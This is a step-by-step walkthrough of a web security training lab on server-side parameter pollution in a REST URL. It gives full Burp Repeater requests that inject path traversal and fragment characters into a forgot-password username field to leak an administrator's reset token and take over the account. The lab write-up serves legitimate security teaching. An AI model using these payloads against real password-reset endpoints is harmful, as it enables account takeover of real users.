Lab: Exploiting server side parameter pollution in a REST URL

Study the behavior

After starting the exercise, the shop should look like the following illustration. Click on the My account link to open the registration form.

Since we do not have a user account to log in with, let's try resetting the password for the user administrator. To do this, click on the link Forgot password?.

We enter the user name administrator and submit the form.

Now open Burp Proxy and switch to the HTTP history tab. There, search for the request POST /forgot-password. Next to the request, you will see the JavaScript file /static/js/forgotPassword.js.

We now send the request POST /forgot-password to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. In the context menu, we select the option Send to Repeater.

In the repeater, we now send a few requests in which we modify the value of the username parameter. We start with the value administrator#, which looks like this when URL-encoded: administrator%23. The request now has the following form.

POST /forgot-password HTTP/2
Host: 0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Cookie: session=dJGCW2hWlWP6VnF1LFq9CncpAv9mr7rl
Content-Length: 60
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=WBXTYitQ1onebFuTdUy1V6hEc6CNYhzV&username=administrator%23

When we send this request, we receive the response HTTP/2 404 Not Found. In the body of the response, we see the message ‘Invalid route. Please refer to the API definition’. This could mean that the server has set the input in the path of a server-side request and that the fragment has truncated some data at the end. Note that the message also refers to an API definition.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

Now we replace %23 with ? (URL-encoded %3f) in the request and send the request again.

POST /forgot-password HTTP/2
Host: 0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Cookie: session=dJGCW2hWlWP6VnF1LFq9CncpAv9mr7rl
Content-Length: 61
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=WBXTYitQ1onebFuTdUy1V6hEc6CNYhzV&username=administrator%3f

We receive the same response as in the previous attempt. This means that the input can be placed in a URL path, as the ? character marks the beginning of the query string and thus truncates the URL path.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

Now let's change the value to ./administrator and send the request again.

POST /forgot-password HTTP/2
Host: 0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Cookie: session=dJGCW2hWlWP6VnF1LFq9CncpAv9mr7rl
Content-Length: 61
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aac007103ed1e11802b4e4d00090097.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=WBXTYitQ1onebFuTdUy1V6hEc6CNYhzV&username=./administrator

After sending, we see that the original response was returned. This indicates that the request may have accessed the same URL path as the original request. This is another indication that the input may be located in the URL path.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{
	"result":"*****@normal-user.net",
	"type":"email"
}

Now let's change the value of username from ./administrator to ../administrator. Note that this returns an error message about an invalid route. This indicates that the request may have accessed an invalid URL path.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

If we change the value of username from ../administrator to ../%23, we get the error message again that the route is invalid.

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}

We will now test further ../ sequences until we reach ../../../../%23. You will see that a different error message has now appeared. This indicates that we have navigated outside the API root directory.

HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 250

{
  "error": "Unexpected response from API server:\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Not Found<\/title>\n<\/head>\n<body>\n    <h1>Not found<\/h1>\n    <p>The URL that you requested was not found.<\/p>\n<\/body>\n<\/html>\n"
}

At this level, we now insert a typical file name for API definitions. For example: openapi.json. Our request should now look like this.

POST /forgot-password HTTP/2
Host: 0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Cookie: session=LXPYh4vZSKTCwWN7lCDSxJ4UE8vyqgcj
Content-Length: 62
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HqDouKJB2dhoOiHoCSYFmtjczJPvhvnS&username=../../../../openapi.json%23

In response, we receive a message containing the following API endpoint for searching for users:

/api/internal/v1/users/{username}/field/{field}

The complete answer is as follows.

HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629

{
  "error": "Unexpected response from API server:\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"User API\",\n    \"version\": \"2.0.0\"\n  },\n  \"paths\": {\n    \"/api/internal/v1/users/{username}/field/{field}\": {\n      \"get\": {\n        \"tags\": [\n          \"users\"\n        ],\n        \"summary\": \"Find user by username\",\n        \"description\": \"API Version 1\",\n        \"parameters\": [\n          {\n            \"name\": \"username\",\n            \"in\": \"path\",\n            \"description\": \"Username\",\n            \"required\": true,\n            \"schema\": {\n        ..."
}

Note that this endpoint indicates that the URL path contains a parameter called field.

Exploit the vulnerability

We update our parameter username according to the structure of the identified API endpoint. We use any value for the parameter field.

username=administrator/field/foo%23

The complete request has the following appearance.

POST /forgot-password HTTP/2
Host: 0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Cookie: session=LXPYh4vZSKTCwWN7lCDSxJ4UE8vyqgcj
Content-Length: 74
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HqDouKJB2dhoOiHoCSYFmtjczJPvhvnS&username=administrator/field/foo%23

After sending, we receive a message stating that only the email field is permitted.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

So we adjust the field and send the request again (administrator/field/email%23).

POST /forgot-password HTTP/2
Host: 0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Cookie: session=LXPYh4vZSKTCwWN7lCDSxJ4UE8vyqgcj
Content-Length: 73
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HqDouKJB2dhoOiHoCSYFmtjczJPvhvnS&username=administrator/field/email%23

In the response, we see that this returns the original response. This may indicate that the server-side application recognises the injected field parameter and that email is a valid field type. The complete response looks like this:

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{
	"type":"email",
	"result":"*****@normal-user.net"
}

We now switch to Burp Proxy and open the HTTP history. There we search for the request GET /static/js/forgotPassword.js. In the JavaScript file, we see the endpoint for resetting the password, which expects the parameter passwordResetToken (line 7).

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

In Burp Repeater, we modify our request by changing the value of the parameter username to username=administrator/field/passwordResetToken%23. The request now looks like this.

POST /forgot-password HTTP/2
Host: 0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Cookie: session=LXPYh4vZSKTCwWN7lCDSxJ4UE8vyqgcj
Content-Length: 88
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HqDouKJB2dhoOiHoCSYFmtjczJPvhvnS&username=administrator/field/passwordResetToken%23

We receive a message stating that the API version used only supports the parameter email.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}

In one of the previous steps, we already identified the endpoint /api/. We will now change the API version with the value username=../../v1/users/administrator/field/passwordResetToken%23 of the parameter username.

POST /forgot-password HTTP/2
Host: 0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Cookie: session=LXPYh4vZSKTCwWN7lCDSxJ4UE8vyqgcj
Content-Length: 103
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HqDouKJB2dhoOiHoCSYFmtjczJPvhvnS&username=../../v1/users/administrator/field/passwordResetToken%23

When we send this request, we receive the token.

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82

{
  "type": "passwordResetToken",
  "result": "xgjg7ylboaskjmixqi5txtxso1jirdub"
}

Now we set a new password for the administrator. To do this, we switch to the browser and open the form for resetting the password.

There, enter our token passwordResetToken=xgjg7ylboaskjmixqi5txtxso1jirdub in the address bar. The address bar should look like this:

https://0a6600a6031ff1d78167841e0066005c.web-security-academy.net/forgot-password?passwordResetToken=xgjg7ylboaskjmixqi5txtxso1jirdub

When we press ENTER, the input form for a new password appears.

Here we now assign a password of our choice and log in as administrator.

When we click on the Admin panel link, we are taken to the page where we can delete the user Carlos.

Now click on Delete to successfully complete the exercise.

Video solution

Last updated